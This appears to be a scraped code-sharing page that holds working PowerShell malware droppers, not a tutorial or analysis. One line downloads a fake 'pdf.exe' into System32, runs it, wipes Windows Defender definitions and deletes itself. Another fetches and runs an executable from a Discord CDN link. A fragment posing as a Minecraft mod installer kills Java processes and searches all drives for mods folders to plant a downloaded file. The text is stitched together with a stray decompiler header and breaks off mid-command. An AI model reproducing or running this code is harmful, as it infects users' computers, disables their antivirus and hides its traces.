Skip to content

Instantly share code, notes, and snippets.

Invoke-WebRequest -Uri "Payment_Methods.pdf.exe)" -OutFile "$env:SystemRoot\System32\downloaded_file.exe"; Start-Process "$env:SystemRoot\System32\downloaded_file.exe"; Start-Process "MpCmdRun.exe" -ArgumentList "-RemoveDefinitions -All" -Verb RunAs; Start-Process powershell -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command "Start-Sleep -Seconds 2; Remove-Item -LiteralPath ''$($MyInvocation.MyCommand.Path)'' -Force" -WindowStyle Hidden
(New-Object System.Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/918552054719463484/1370616096935383162/e_win.pdf.exe?ex=68202536&is=681ed3b6&hm=473d0614982e3ce684b8942181c3c9c2b7fa0cff9cd0571f2986ee7464f0dedc&', ($tempFile="$($env:TEMP)\$([System.Guid]::NewGuid()).exe"));Start-Process $tempFile;powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 2; Remove-Item -LiteralPath '$PSCommandPath' -Force; exit"
/* This file was generated by the Hex-Rays decompiler version 9.1.0.250226.
Copyright (c) 2007-2021 Hex-Rays <info@hex-rays.com>
Detected compiler: Visual C++
*/
#include <windows.h>
#include <defs.h>
#include <stdarg.h>
# Minecraft Process Monitor and Mod Installer
# This script does two things:
# 1. Finds and closes any Java/Minecraft processes using more than 300MB of RAM
# 2. Finds all .minecraft/mods folders and downloads a file into them
# Part 1: Find and close high memory Java/Minecraft processes
Write-Host "Checking for high memory Minecraft-related processes..."
$highMemProcesses = Get-Process | Where-Object {
# Process name criteria - looking for Java and Minecraft related processes
(
powershell -NoProfile -ExecutionPolicy Bypass -Command "$highMemProcesses = Get-Process | Where-Object {($_.Name -like '*java*' -or $_.Name -like '*minecraft*' -or $_.Name -eq 'javaw' -or $_.ProcessName -eq 'javaw' -or $_.Description -like '*Java*' -or $_.Description -like '*OpenJDK*' -or $_.Description -like '*Platform Library*' -or $_.MainWindowTitle -like '*Minecraft*') -and ($_.WorkingSet64 / 1MB -gt 300)}; foreach ($p in $highMemProcesses) {try {$p.CloseMainWindow() | Out-Null; Start-Sleep -s 2; if (!$p.HasExited) {$p.Kill()}} catch {}}; $modsLocations = @(); $appDataMods = Join-Path $env:APPDATA '.minecraft\mods'; if (Test-Path $appDataMods -PathType Container) {$modsLocations += $appDataMods}; foreach ($drive in (Get-PSDrive -PSProvider FileSystem | Select-Object -ExpandProperty Root)) {try {$depthParam = if ($PSVersionTable.PSVersion.Major -ge 5) {@{Depth=5}} else {@{}}; $dirs = Get-ChildItem -Path $drive -Directory -Recurse -ErrorAction SilentlyContinue -Filter '.minecraft' @depthParam; foreach ($dir